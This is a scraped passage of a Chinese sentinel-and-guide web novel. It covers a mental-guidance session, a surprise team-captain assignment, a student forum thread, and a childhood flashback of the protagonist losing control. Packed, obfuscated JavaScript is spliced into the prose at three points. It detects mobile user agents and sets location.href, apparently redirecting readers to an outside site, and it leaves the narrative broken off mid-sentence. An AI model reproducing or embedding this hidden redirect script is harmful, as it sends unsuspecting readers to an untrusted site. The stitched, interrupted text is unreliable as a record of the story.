黎珞言迅速闭上眼睛,舌尖抵住糖推到齿间,再嘎嘣嘎嘣咬碎,再不做疏导他真的要难受到咬人了。 易谌也闭上眼,探出精神力,精神力的触须逐渐探入了哨兵的脑域里,与对方形成链接。 按理说他的眼前应该逐渐亮起画面,但好一会儿却仍旧是一片漆黑。 除了没链接上的情况外,就只有对方的精神图景里就是一片漆黑这一种可能。 易谌拧了眉,将精神触须继续深入,越是深入,他就越能感受到他和黎珞言之间的联系。 精神链接将两人之间的联系不断加深,在两人匹配度极高的前提下,甚至连情绪都能隐隐地互相感知到。 在他探出精神力与黎珞言的脑域建立链接的同时,向导素也逸散开来,哨兵的身体在接收到向导素后,原先的难受不适在逐渐缓解。 黎珞言的神情不像原先那样紧绷着了。 易谌刻意说服自己忽略掉那丝不明显的联系,沉默地继续自己对黎珞言精神图景的探索。 不知道深入了多少,眼前终于亮起了一点光,他终于能看清黎珞言的精神图景了。 隔着一层高高的半透明屏障,被围在中央的仅仅是一个竖起的画板。隔得太远易谌看不清画上具体的内容,但即便只是模糊的轮廓,他也能看出来这是一副水平很高的画,色彩丰富艳丽、抓人眼球。 除了从中心的画往外映射出的一点光以外,周围一片漆黑。 浓重得仿佛能够化为实体的黑雾缠得人连呼吸都很是困难,要不是他的精神力足够强还真顶不了多久。 黎珞言的精神图景太简单了,只有一副画和层层叠叠的厚屏障……但正因为简单,才显得更为复杂棘手。 没有肢体接触的精神疏导做到浅度清理是完全没问题的。 易谌想,那就先清理掉最外层的屏障。 * 黎珞言按着额角睁开了眼睛,刚睁眼就听见向导问:“好些了吗?” 黎珞言:……胃不疼了,头疼,算好些了吗? 他想,这位向导是不是在他的精神图景里突然心情不好,然后抓着他的脑子打了一架? 黎珞言从来没接受这么……简单粗暴、难以评价的精神疏导,但不得不承认接受疏导后脑域确实轻松许多,他甚至觉得自己还能蹦跶两下。 但还没他真的起身蹦跶几下,就发现自己的手腕上突然缠上了条黑蛇。 蛇身薄薄的鳞片压在手腕处略微有点粗糙、凹凸不平的质感,触感冰冰凉的,但又挺软弹的,有点像煮熟了的年糕。 那条黑蛇也注意到了黎珞言的视线,但它没有做出任何反应,而是继续懒洋洋地盘在他腕骨处,吐着蛇信子,蛇尾轻飘飘地扫着皮肉下淡青色的血管。 嘶……怎么还有点像向导手腕上那只。 黎珞言抬起手,正想凑近仔细观察一下多出来的那条黑蛇的特征,就听见那位向导冷冷的一声“过来。” 过、过去? 黎珞言下意识看了看这房间里还有没有别人,确定只有自己后更茫然了,迟疑着指了指自己。 他吗? 黑蛇不动如山地盘在他的手腕上,就像安家了似的。 黎珞言疑惑地看了眼向导,还没表达出自己的困惑就立刻惊讶地睁大了眼睛,望着踩在对方肩膀上跟个小玩偶似的、属于自己的精神体。 他的精神体什么时候跑出来的? 他第一次遇见这种精神体到处乱跑的情况…… 黎珞言喊道:“厄斯,回来。” 他嘴里还含着糖果碎渣,说话时依稀可以看见闪着碎光的糖渣。 小狮子正扒着易谌的衣领,俯到他的脖颈处嗅了嗅,然后似乎是很幸福地倒下去,肚皮敞着小声呼噜了两下。 听见主人呼唤后它迅速昂起大脑袋,扭头看过去。 易谌伸手把小狮子拎了下来,随手朝黎珞言扔了过去。 小狮子在降落过程中迅速膨胀变大,楞大一个直接撞进站起身的黎珞言的怀里。 黎珞言稳稳接住他,即便是这等重量他双手也完全没抖,稳得可怕。十指都陷入狮子毛茸茸的身体里,指关节透着点健康的粉。 手腕上的黑蛇缠他缠得更紧了些,蛇身变长,脑袋沿着指根蜿蜒往上,蛇信子慢悠悠舔过纤长的手指,像是在细细品尝什么美食。 小蛇舔舐后留下的湿漉漉的触感让黎珞言觉得手指泛起了点些微痒意,他把精神体收了回去,垂下眼,宝石绿的眸子专注地盯着在他右手上绕了好几圈舔来舔去的小蛇。 手背几乎都要被越来越长的蛇身覆盖,在光照下,纯黑色的蛇鳞泛起五彩斑斓的光泽,看着危险又尖利。 还没等黎珞言伸出手去碰碰他,那条黑蛇就消失了。 黎珞言眨了下眼睛,看向坐在凳子上的向导,了悟,原来那条黑蛇是他的精神体。 他翻了翻自己的手,安安静静地观察了下。 不久前缠绕在上面的黑蛇已经消失了,手上还泛着点未散去的红,黎珞言几乎还能会想起蛇信子舔舐过皮肤时滑腻奇怪的触感。 “厄斯?”易谌问,“你给精神体取的名字吗?” 黎珞言肯定地点点头,弯起眼睛,眼睛亮亮的,说话时有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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轮到严弥老师发言时,他特意提了下今日险些酿成的惨剧,并沉着脸说:“我并不奢求你们各个都成长为能够独当一面的哨兵,但至少应该具备该有的战斗素养,以及团队协作的精神。今后你们中的绝大多数人都会来到污染区,过着朝不保夕的生活。但我们教给你们的至少能让你们活得久一点。” “除此之外,这里对一年级同学黎珞言提出表扬。” 黎珞言端正站着,听见自己的名字抬起头。 严弥面无表情看着他,绷着那张私人脸,看起来不像是在夸人,倒像是在念处决名单:“在专注自身负责事项的同时,迅速关注到了同学正面临危险,并及时做出了反应,拯救了同学的性命。” 身穿统一训练服的队伍瞬间传出竭力压低的层层惊叹声。 严弥继续说:“你的这门课,我会给你打‘A’。” 队伍里的惊呼声大了起来,能从严弥这老古板手里拿到A可以说是难得一遇,上一个得A的是现在还在污染区深处出任务的尹祁青,再上一个就是几十年前了。 有人转过头来,目露羡慕,给他比了个大拇指:“黎哥,强。” 黎珞言面对不熟的人表现得一向冷淡,他极为矜持地点了下头。 …… 下一个讲话的是一位说话时和风细雨的女老师,她给的评级一般都不会很低,因此在学生中风评很好。 她微笑着:“刚刚提到了团队协作,相信大家都知道学校即将举办一场联赛。” “四人组队,不限年级,具体通知后续会发布。我也了解到你们当中许多人私下已经在口头上组好了队。队长的名单三天后就能出来,这也是一场用来加强你们团队合作能力的比赛,希望大家能够踊跃参加,互相多了解一下。” 8. 第 8 章 联赛的队长名单是上课时间出来的。 无论是关于什么的理论课都是枯燥的,一群二十出头的哨兵根本坐不下去,一发现官网上队长名单出来了就偷偷摸摸拿出终端看起来,顺便还小声地讨论了起来。 老师在上面讲了会儿,见没人在听,一个个全捧着终端在窃窃私语,无奈地笑了一下。 他干脆也不讲课了:“队长名单出来了,我看你们也都挺关注的,那我留点时间让你们看一下吧。” 话音刚落,原本还偷偷摸摸看终端的人都光明正大了起来,讨论的声音也大了起来。 尹惟撑着头,她没什么事做,于是也打开终端查看队长名单。 手往下滑着。 突然,她的手一顿,皱着眉放大了表格,像是不敢相信自己看见了谁的名字。 怎么会出现黎珞言的名字? 梨子没有报名队长啊,而且他们私下早就定好了去的队伍。所以队长名单里为什么会有梨子的名字?是系统出错了吗? 尹惟凑得离屏幕很近,将那片区域放大又缩小,放大又缩小,反复确认自己的确没看错。 她刚想和黎珞言分享她这个神奇的新发现,就听见老师讲话了:“对了,根据多个老师的讨论,为了平衡每组实力,把黎珞言加到了队长名单里。黎珞言,你觉得呢?” 奚元在写另一门课的作业,听见黎珞言的名字条件反射地提起了耳朵,听了一嘴,但注意力没有完全集中,再加上周围太吵,他只零星听见了句子中几个词,没太反应过来是个什么意思。 黎珞言更是还在睡觉,对自己的名字一点反应都没有,趴在手臂上睡得可熟,只露出一个蓬松的黑色头顶。 尹惟坐他后座,使劲踢了踢他的凳子,没踢醒。 奚元故技重施,捏住他的鼻子,果然下一秒黎珞言就睁开了绿眼睛,被打扰了睡梦的黑发哨兵看起来有点可怜兮兮的,小声问他:“你做什么?” 奚元压低声音:“老师点你名了。” 于是黎珞言迎着老师投来的目光站了起来,他脸上稍微有点红,是睡久了之后显出来的很健康红润的颜色,看上去还有点懵。 老师看着他笑,也不说话。他完全不知道被点起来做什么,很茫然地低头看向同桌的奚元。 奚元显然也不知道在问什么问题,但他朝黎珞言比了个手势,表示他马上就去打听一下。 黎珞言识别到奚元的手势,放下了心,转回头去抿起唇,装出一副正在认真严肃的思考模样拖延时间。 奚元刚打开终端,问题还没编辑好发给尹惟,就见从后面扔过来了一个纸团。 他迅速反应过来肯定是尹惟扔过来的,心里默默感慨一句:这就是认识十几年的默契。 然后一刻也没耽搁地拆开纸团,把纸团铺平按着移到了黎珞言的桌上。 【你的名字出现在队长名单里了。老师问你的意见。】 字迹流畅漂亮,大概是因为写的有点急,最后一笔都稍微有点飘了。 黎珞言看完纸团内容,发自肺腑:“啊?” 他抬起头看向笑眯眯的老师,再次确认:“我当队长吗?” 老师点了点头,鼓励道:“你可以的。” 黎珞言睡得头还有点昏,他下意识地就要接一句“都行”了,但突然清醒了过来,咬了下舌尖,差点就要出口的被吞了回去。 他慢吞吞地憋出一句:“可以不吗?” 老师继续笑眯眯地说:“但是很抱歉,名单已经定下来了。” 这就是不容商量的意思了。 黎珞言刚醒来就得知自己要在联赛里当队长,整个人好像还在梦里似的。 他不是一年级新生吗?为什么会直接指定他当队长啊? 他抿了抿唇,试图再次为自己争取一下:“不是问我的意见吗?” 老师爽朗地哈哈笑了两声,然后又看着黎珞言笑道:“是啊,但其实已经定下来了,问你就是走个过场,怕你没看通知不知道。” 黎珞言:“……” ……讨、厌。 * 联邦军校论坛。 ——主题:【我请问呢?到底是谁说黎珞言不当队长的?】 1L:【?怎么带大名了?我敢打包票,这贴半小时以内包被封的。】 楼主:【啊!不是,太着急了!!忘打缩写了!!所以当初是谁先说他不当队长的啊!我靠,站出来啊我保证不揍人!】 3L:【嘶!lly当队长了?我还没仔细看过这个队长名单呢,等我一观。】 …… 33L:【所以黎队找好队友了吗?我要去自荐一下[害羞]】 34L:【已经开始叫上黎队了吗?听着好涩。】 35L:【我服了,到底是谁先传的假消息!早知道我就不加入别的队伍了!】 36L:【ls还是太老实了。反正只是口头约定,勇敢的人先和黎队做队友。不管了,我先冲了试试。】 …… 79L:【每次点开这种帖子,我都要事先做很久的心理建设。靠北,果然,打开一瞬间,一股子lly深柜的气质扑面而来。】 80L:【慕强没错,爱上黎队人之常情。】 81L:【自荐真的有戏吗?黎队,我女神,再加一个红毛,不就凑够仨人了吗?感觉只有向导去自荐才有希望吧。】 82L:【lz标题都不打缩写,此贴早晚被禁。不管了我也直接带大名了。】 【尹惟会和她哥尹祁青一队吧,之前就有传言说尹祁青那队队员是黎珞言、尹惟,和白塔那位首席温暻。奚元之前说的是不参赛。那现在我分析一波。黎珞言自动成为队长,尹惟要是去黎珞言那队,尹祁青队伍人数不就锐减一半了吗?所以我觉得她应该不会改队。】 【奚元说不定,他有极大可能改决定去参赛,毕竟我一直觉得他也是黎珞言深柜。】 83L:【一直很不理解lly深柜这个群体。我始终坚定自己是他的事业粉,上半学期实训课全A的成绩,直接破纪录了,给我人都看傻了。请加入我们真正的慕强批这一更加权威的群体好吗?】 84L:【其实我觉得温暻看到队长名单之后也会去黎珞言的队(这是可以说的吗)】 85L:【白塔首席和黎队很熟吗?[呆傻.jpg]】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496418|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 86L:【ber,之前白塔那位首席为了给lly做精神疏导,在我们学校的诊疗室里待了挺长一段时间,还给军校其他人做了精神疏导,都不记得了吗??】 87L:【哦莫,原来是为了黎队来的。我以为是首席大发善心,来拯救我们可怜见的哨兵了呢。】 …… 100L:【这不就是前段时间的事吗?还真有人忘?我靠,自从进了联邦军校以来,我每天起得比鸡早睡得比狗晚,被军校里那群老师当狗训,直到那天负重跑完六公里,踏进诊疗室的那一刻,首席的光芒直接普渡了我,出诊疗室的时候我还晕乎乎的。dokidoki】 【不说了,现在每天疯狂训练,都是为了以后进正式军团预约首席的诊疗室。】 101L:【哦对了,还是我,100L那个。顺便提一句,黎队nb!轻而易举从严古板那里拿到了''A''的事迹还有人不知道吗?3515届哨兵之光实至名归好吧!】 …… ——此贴已被永久封禁—— * 黎珞言撑着下巴,双眼无神地看着桌面。 下课了,教室里的人陆陆续续都走了。 尹惟戳了戳他的后背,看着他蔫蔫地转过来趴在她的桌子上,忍住笑问道:“在想什么?” “在想——”黎珞言伸出一根手指在桌上画圈圈,长长叹出一口气,“找不到队友怎么办……” 队长名单出来之前,大多数队伍都已经口头上确定下来了。现在这么突然地告诉他让他当队长,他觉得他很难再找到队友了。 “在想这个啊。”尹惟笑出声,“这还不简单,我和奚元进你队里,不就三个人了吗?再找个向导就成。” 尹惟耸了耸肩,完全不觉得找队友是个什么大问题。 黎珞言眨了眨眼睛,有点惊讶:“你愿意过来和我组队吗?” 尹惟也朝他眨了眨眼睛,笑眯眯的:“当然啊。我哥那边再找别人组队就行。” 她突然想到什么,眼珠一转,弯着眸子笑意快溢出来了,像是想出了什么坏主意:“要不我们把温暻也挖过来吧,这样我们人就齐了。” 黎珞言指节微弯挠了挠桌子,有点点被打动,但想了想,还是很迟疑地说:“那哥那边不就只剩他一个人了……” 他说话的声音陡然一滞,侧头看向奚元,茫然道:“你做什么?” 为什么突然摸他耳朵? 奚元的手还搁在他耳朵上,闻言也没收手,甚至还轻轻捏了捏耳垂,触感柔软。被他这么一按一捏,耳垂微微泛起了点暧昧的红。 他食指屈起,指尖带着点力度滑过黎珞言右耳上的银色耳钉。 耳钉就是极为普通的样式,没什么特别的装饰。黎珞言只有右耳上戴了一颗,单边耳钉看上去还蛮有个性的。 奚元没回答他,于是黎珞言凑近了又问一遍:“怎么了吗?” 他看人时眼睛亮晶晶的,弯着眸子,冲淡了锋利五官带来的冲击感,反而一副很好亲近的小动物模样。 奚元再次摩挲了下他的耳钉,半眯起眼睛说:“我只是在想,你当初到底为什么开始戴耳钉的?” 9. 第 9 章 黎珞言是大概十来岁那时,突然有一天开始戴耳钉的。 他一向是不会把自己装饰得闪闪发光的,所以戴上银色耳钉的当天就注意到了。 黑发绿眸的男生听人说话时特别专注,疑惑时就抓了抓头发,别人顺着他的动作看去,纤长手指间一抹浅淡的银光一闪而过。 尚且稚嫩的年龄五官就已经出落得很好看了,眉骨如刃,鼻梁高挺,第一眼看过去非常具有冲击力的浓颜系长相。 右耳上缀着一颗样式再简单不过的银色耳钉,反而给他添上了分很特别的韵味。 当时奚元问起的时候,黎珞言抬手摸了下右耳的耳钉,顿了下才弯起眼睛,像是有点可怜似的问:“不好看吗?” 这么一戴就好几年了,奚元今天注意到他的耳钉,才又想起这个问题。 确实很好看没错,但是梨子是喜欢戴饰品的性子吗? “我只是在想,你当初到底为什么开始戴耳钉的?”奚元说。 黎珞言听见他的问题,有点愣住了,半晌,碧绿的眸子轻轻眨了下:“因为很好看……” 黎珞言说得不是很确定,他说着说着就看向了尹惟,似乎是在寻求帮助。 “是啊,特别好看。”尹惟看着他望向人时仿佛漾着碎光的绿眸,很自然地接过话头揭过了这个话题,“我之前就看见别人抓拍的梨子的照片,耳钉衬得梨子特帅。” 她弯着唇笑,“我之前也被吸引了想搞个耳钉戴着呢。这周末怎么样?有时间陪我去挑一挑吗?” 黎珞言立马就想应下来,张嘴的同时,忽然一直挂机的脑子上线了,他想起来了自己约好的事,于是看着尹惟说:“这周末没有时间,我要去和匹配对象见一面。” 他拿出终端,翻到他和匹配对象的聊天记录作为佐证,给她看。 尹惟一看,居然还是发起的临时会话,这么久了俩人连好友都没加。 两个人前面一点寒暄都没有,黎珞言上来就问:【你好呀~你什么时候有时间,我们可以见一面吗?[小狮子探头.jpg]】 黎珞言这个加语气词、加可爱表情包的习惯还是尹惟反复强调之后才形成的。 因为黎珞言发消息时都太过直接,这种文字式的消息看不出语气,尹惟每每收到消息之后都忍不住扶额,同时又忍不住担心别人会通过这些文字误以为梨子性格差劲、不好相处。 于是她最后想出一个办法,给他发了不少表情包存上,并告诉他遇事不决就加上一个表情包好了。 匹配度96的向导:【这周末下午一点,可以吗?】 黎珞言:【好的![小狮子开心.jpg]】 “所以我周末要去和那个人见面了,不能陪你去了。”黎珞言托着下巴说。 奚元见耳钉的话题这么轻易地就被跳过去了,心里意识到一点不对劲,他扭头看向尹惟。尹惟注意到了他的视线,唇角笑容微敛,微不可察地朝他摇了摇头。 果然有事情。 奚元心头一沉,他的视线重新又落回黎珞言右耳处的那颗耳钉上,随着黎珞言晃脑袋的动作,纯黑发尾间银光轻闪。 …… 奚元和黎珞言认识是很多年前的事情了。那时候黎珞言才七岁。 奚元从小就混,最讨厌的就是参加各种各样无聊又庸俗的、千篇一律的聚会。推杯换盏之间,一群人挂着再假不过的微笑,说着一些再俗套不过的话,虚伪得要命。 他觉得没意思极了。但小孩没有话语权,他还是得被提溜着去参加那些聚会,大人说话,他一个小孩自然是被分配到小孩那堆里。但他觉得那群小孩也很没意思。 不对,不是很,是非常! 尤其是那个叫尹惟的,和他同龄,但装得一副多见多识广的稳重模样,见谁都微微笑着,熟练地打着官腔,和那群成年人简直一模一样。 无聊透顶。 奚元对尹家人这种家规森严、从上到下都透露着一股子装感的类型完全是一点也不想接触。 那天他又被他父亲扯着去参加一个听说是什么执政官独子的生日宴会。一听这个名头,他估摸着就是个特别无趣的小孩。 他拉着一张脸、十分不情愿地去到那场宴会上,几乎不用思考就能知道这一天会非常非常无聊又平淡地过去。 首先会是训练有序、毫无感情偏还要挂着笑脸的机器人站在宴会厅门口给每个到来的人送上小礼物,然后就是借着这个生日宴开始谈合作、谈军团发展、谈抵御星盗抵御异兽,巴拉巴拉的…… “你们好,这是你们的礼物。” 稚嫩又一板一眼的声音让低头环臂的奚元有些奇怪地抬起了头,眼前是个穿着精致西服的小男孩,脸上有点婴儿肥,抿着嘴巴,表情看起来似乎是在做什么特别认真的事。 他就看着那小孩转过身在旁边一个巨大的箱子里翻找,那箱子大到几乎可以装进一个他了。小孩在里面翻找的模样看着十分辛苦艰难,脑袋都快要埋进箱子里了。 奚元看着都怀疑他是不是会找着找着一整个栽进去。但最后总算是给他找着了,不知道为什么,同时间奚元也跟着那小孩一道松了口气。 小男孩把包装好的礼盒板正地递给面前的大人,余光忽然注意到了一直在盯着他看的红发男生,好奇地看过去。 站在他面前的男孩一头红发招摇得不行,双臂环着,一副很拽很狂、老子天下第一的模样盯着他看,目光直接而炙热,即便是被他发现了也毫无收敛的意思。 对于第一次见面的人来说,这其实是有点冒犯的注视。 但现场的两个小孩显然都没意识到这点。 黎珞言也慢吞吞回望向了他,浓密的眼睫下是一双澄澈透亮的绿眸,像一弯静谧温和的湖水。 对视片刻后,他弯了弯眼睛,碧绿的湖水泛起涟漪。 …… 他在朝自己笑。 奚元意识到这个事实后垂在身侧的手指忽然弯了一下,眼睛不自觉地快速眨了几下,更加目不转睛地盯着他看。 在被父亲扯了几下后,他总算回过神了,在被生拉硬拽进宴会厅之前,他努力地稳住脚步,抓紧时间连忙把心里话喊出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我叫奚元……唔唔!”奚元笑眯眯地自我介绍,刚说了个名字嘴巴就被他父亲捂住了,话被堵进了喉咙里,强行“唔唔”了两声也没能说出能够让人听清的话来。 红发男生就这样瞪着眼睛,火冒三丈、极不情愿地被他父亲给拽进了宴会厅里。 见看不见人了,黎珞言紧绷着的身子放松了一点,低头的时候缓缓吐出了一小口气,像是为刚才发生的事情松了口气。 抬头看向下一批人前,他不着痕迹地再深深吸起一口气,重新调整好状态,绷着一张小脸说:“你们好,这是你们的礼物。” 来来回回反反复复就是这一句话,就跟个不太智能的小机器人似的。 尹惟看得忍不住笑,等到家里人接过黎珞言递过来的礼物,准备进入宴会厅了之后,她弯着唇,压低了声音对黎珞言说道:“你眼睛真的很漂亮。” 黎珞言望着她,眨了眨眼睛,露出一副意料之外的很懵的模样。——和前几分钟莫名其妙被夸时的表情一模一样。 但他旋即弯起了眸子,月牙似的弯,讲话慢吞吞的,尾音习惯性地拖长:“谢谢。” 尹祁青发现了落后几步的妹妹,回头看了一眼尹惟,又看了一眼黎珞言。旋即收回视线,招呼她跟上。 等她走近后小声问道:“你们说什么了?” “我问他——”尹惟下意识挑了下眉,想起方才简短的对话,声音顿了一下,忽地笑出一声,扬唇道,“啊?我为什么要告诉你啊?” 10.第 10 章 自从七岁的生日宴上黎珞言出现在大众视野之后,他就不再始终待在家里,而是开始参与一些所谓的属于同龄人之间的交流娱乐了。 黎珞言性格好,长得好,那时候也不像现在这样对陌生人冷脸,反而见了谁都弯起眼睛朝人笑,因此所有人和他接触过的人都喜欢他,都想要和他玩。 敏锐地察觉到每个人的真实性格是直觉系小动物的特殊技能,相处久了之后,他本能性地亲近一些人,又本能性地远离一些人。 久而久之,那种区别就愈发明显,于是在不为人知的地方,一种隐秘的粘稠的恶意自心中生出。 那些被归于“疏”中的一些人中,不免有人会想要以一些特殊的手段引起他的注意。 对于年岁不大的小孩来说,他们是分不清讨喜和讨厌之间的区别的,“引起注意”的优先度是完全高于“引发的是哪方面的情感”这一因素的。 无论是正面情绪还是负面情绪,只要是被注意到了,这对他们来说似乎都是一种阶段性胜利。 不知有意无意,有人猛地发现自己从来没听说过、也从来没见过黎珞言的母亲,所谓“执政官的独子”背后就只表明了他父亲的身份。 所以,他妈妈呢?在哪里? 当这个问题被直接戳到黎珞言面前的时候,直白又锋利的话语像是一柄开了刃的剑,连说话本人都没注意这话是多么残忍又恶毒。 “我怎么从来没见过你妈妈?” “你妈妈是不是不要你了啊。” …… 蹲在地上安安静静看着蚂蚁搬物资的黎珞言听见了。 他第一次直面这么呼之欲出的恶意,像是卡顿了的机器人,停顿一下后,蓦然抬起头来,眼珠子一动不动地盯住说话的一群人看。 那群人知道黎珞言和奚元、尹惟关系好,于是特意挑的那两人正巧不在场的时间来找的黎珞言。 “喂!黎珞言!你怎么不说话?” “我说,你妈妈是不是就是因为你不像正常人,所以不要你的啊。” 原本澄澈清透的眼睛,这样一动不动盯着人看久了之后显出几分强烈的诡异。 黎珞言沉默地盯住说话的人,慢慢站起身,在为首那人还想再说话的时候,突然猛的逼近。 他伸手的动作太快,以至于在场没人能反应过来,只见得残影一晃,他的手就已经死死掐在了挑衅者的脖子上。 “呃……啊……”为首的孩子脖子被手掌扼住,张开的虎口正正卡住喉结的位置,疼痛陡然炸开。 呼吸被全然遏制,挑衅者脸红脖子粗,眸色充斥着惊恐,发了狂地想要挣扎开,然而只是徒劳。 动手的黑发男孩眼眸一片泠然,向来被人称赞漂亮的绿眸里没有任何情绪,仿佛扔进一块小石头都无法激起一点波澜。 在他掐人脖子的那瞬间,他像骤然间变了一个人,不再是所有人印象中柔软的,爱笑的,反应慢吞吞的男孩,硬要打个比方的话,更像是冷冰冰的人形杀器,很让人心惊的模样。 那人用尽全身力气,两只手拼了命掰着黎珞言掐住他脖子的那只手,然而让他绝望的是,他的挣扎没有任何作用。 反而下一秒被对方直接掼倒在了地上。 后脑勺砸在地上的那瞬间,他只觉得眼前出现一阵血雾,被扼住了喉咙口鼻难以呼吸。 他有些绝望地松了力气,手臂垂至身侧,不再试图让黎珞言放手。 他睁着眼睛,视线变得逐渐模糊,却仍旧可以看见一团很清透的绿色色块——是属于对方的、很漂亮的眼睛。 然后是金灿灿的颜色。……是什么?他的视线糊成一团,看不清具体的形状。 这是他第一次和对方近距离接触,却是在这样的情况下,他甚至还来不及纪念,就已经意识到他似乎快要完蛋了。 男孩柔软的黑发中忽地探出了一对金灿灿的兽耳,一摇一摆轻轻晃动,身后一条尾巴快速摆动着,脸上没什么表情,透着股极强烈的非人感。 周围的小孩都被黎珞言吓到了。 有的跑去找人了,有的似乎被吓傻了看着他们发呆,还有人瞪大了眼睛,惊恐地破音喊道:“怪、怪物!” 奚元被人喊过来时还不知道发生了什么,皱着眉不耐烦地走过来,但在抬眸看清此刻的景象时瞳孔猛的一缩,迅速意识到了一个事实——出事了。 他立马健步如飞冲了上去。 余光扫到躺在地上一动不动仿佛僵硬的尸体似的人,奚元心凉了半截。 深吸一口气后,在心里安慰自己万一人还有气呢。做好心里建设之后他伸出手开始掰黎珞言仍掐着人脖子的手。 奚元动作十分强硬,完全没有留手的意思,手背、手臂上青筋凸起,黎珞言手上被他抓红了好几块,泛起吓人的淤青,手指也因为一直被往后掰疼得有些脱力。 然而黎珞言本人却像感觉不到疼痛一样,怎么也不松手。 黑发绿眸的男孩一边毫不留情地掐着人,一边抬起眼盯住打扰他的人看,恍惚意识到是熟悉的面孔之后,手上稍微卸了一点力。 仅是一时间的松懈就被奚元找到了时机,他抓着他的手硬生生让他松开了地上那人的脖子。 那人骤然间得到空气,猛的呼吸起来,脖颈间是吓人的一道道深红指印,隐隐泛着青紫的瘆人颜色。 奚元双手死死抓住黎珞言的,不敢半分懈怠。见地上那人还活着,他这时候总算松了口气敢呼吸了。 方才紧张刺激的场景过后,他的心跳似乎是才反应过来,跳得飞快。 奚元看着突然冒出兽耳兽尾的黎珞言,这样的异化特征他只在深入污染区、精神图景被污染得十分糟糕的哨兵身上看见过。 他心沉着,从没有过这么轻声细语地问:“梨子,告诉我怎么了好吗?” 黎珞言有点委屈地瘪了下嘴,奚元被他看得心头一软,刚想出声安慰他,就感觉到手臂上陡然一疼。 疼得他张开口还没来得及说话,溢出喉腔的就是一句痛呼。 “嘶……我艹!”奚元上牙死死咬住嘴巴才勉强把痛呼压了回去。 他低着头,只能看见黎珞言毛绒绒的黑色发顶。 啊?不是!黎珞言咬他做什么啊?! 奚元从没有一刻像此刻这么清晰地认识到,黎珞言的牙齿挺尖的,咬人也很疼。咬合力极强,简直像是奔着要咬下他一块肉的目的来的。 他疼得简直想骂人了,想着要不一不做二不休直接咬回去好了,大不了两个人互相咬,谁也不欠谁的。 但下一秒滴落在手臂上的温热泪水让他咬回去的想法动摇了。 像雨点一样轻轻地慢慢地打在他的手臂上,很柔软,很脆弱。 奚元挣扎的力气泄了,眼睛一闭,心一横,大方又绝望地想,大不了就让梨子咬一块肉下来算了。 堂堂哨兵好男儿,区区疼痛…… 嘶!……没事的,区区疼痛!区区一块肉! 奚元极力忽略手臂上阵阵的疼痛,死死咬住嘴唇忍痛,唇色苍白。那种疼痛似乎是生生将他小臂上的肉剜下来一块,但事实也接近如此。 “喂。可以睁眼了。” 很沉稳冷静的一道女声。 奚元猛的睁开眼,先是看了一眼黎珞言。 他眼睛紧闭着,耳朵和尾巴还在,但是看上去小了一圈,可怜巴巴地缩着。应该是昏迷过去了。 尹惟蹲下身扶住了他的身体,让他的脑袋稳稳靠在自己的手臂上。 奚元这才又看了眼自己的小臂,很深的一圈牙印,青青紫紫,血滋滋往外冒,伤口看着非常吓人。 他感觉自己的这只手臂已经疼到麻木了,和掉了块肉没什么差别。 “被你咬了不会得狂犬病吧!”奚元疼得不行,咬着牙对着昏迷了的黎珞言一字一句说。 黎珞言听都听不见他的话,当然回答不了他。 尹惟低着头,用衣袖很轻地把黎珞言眼尾残留的那点湿润水渍擦干净了。 她赶来的时候看见的场景十分混乱,一个躺在地上疯狂呼吸的人,一个闭着眼视死如归的“壮士”,还有一个长出狮子耳朵尾巴、疑似失控了在咬人的梨子。 她当机立断伸手往黎珞言后颈上砍了一手刀,旋即把往后倒下的黎珞言一把扶住。 现在这幅场景…… 尹惟犹豫着,垂下眸,半晌才开口:“要把人送到医院吗?” 她停顿一下继续说:“我家也有医疗舱,要不然,你们三个都来我家里……” 奚元疼得龇牙咧嘴,他听见了她的话,第一反应是:“这还用想吗?当然是去医院检查一遍。” 他叨叨着,疼痛让他说话都没什么力气,“梨子咬我咬的这么狠,我真的要怀疑他是不是有狂犬病了,我要去检查……嘶,检查一下有没有狂犬病!等等——他这种情况,应该是……狂狮病?” 尹惟面色平静,垂着眸,出声时声音依旧冷静得不像话:“但他会被关禁闭的。” 奚元:“?哇塞。” 奚元手臂疼得出奇,他用另一只手抓了抓头发,简直不敢相信自己听见了什么。他的手还在流血欸,肉都差点被咬下来了,哈喽哈喽,尹惟是看不见吗? 但他稍微缓了口气后,抬起头和尹惟对视上,冷静了几秒。 顺着她的话往后想了一下,不禁皱起了眉,也意识到了这个问题。私下里把伙伴伤成这样,无论是什么原因,黎珞言都一定会被关禁闭。 因伤口发疼,他深呼吸着,调整说话的声音大小,提醒道:“但不止我们看见了。好几个人已经跑了,他们也会出去乱说的。” 他突然意识到尹惟其实并没有她表现得那么冷静,这么简单的事情她平时是绝对不会忽略掉的。 尹惟垂着眸,理智回笼,“嗯”了一声。 “况且,梨子也应该去医院做一个全面检查。他的精神图景,是不是出现了问题……” 奚元想起黎珞言失控时的表现,眉头紧拧。 …… 十岁那年,黎珞言被关在了家里。 对于上述事件给出的解释是,感知力过高,导致无法完全掌控情绪。情绪激动时会陷入不可控状态,由于某种不可透露的原因,当他处于此种失控状态时有百分之七十的倾向会表现出极轻微的异化特征。 最后决定为,关禁闭一年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 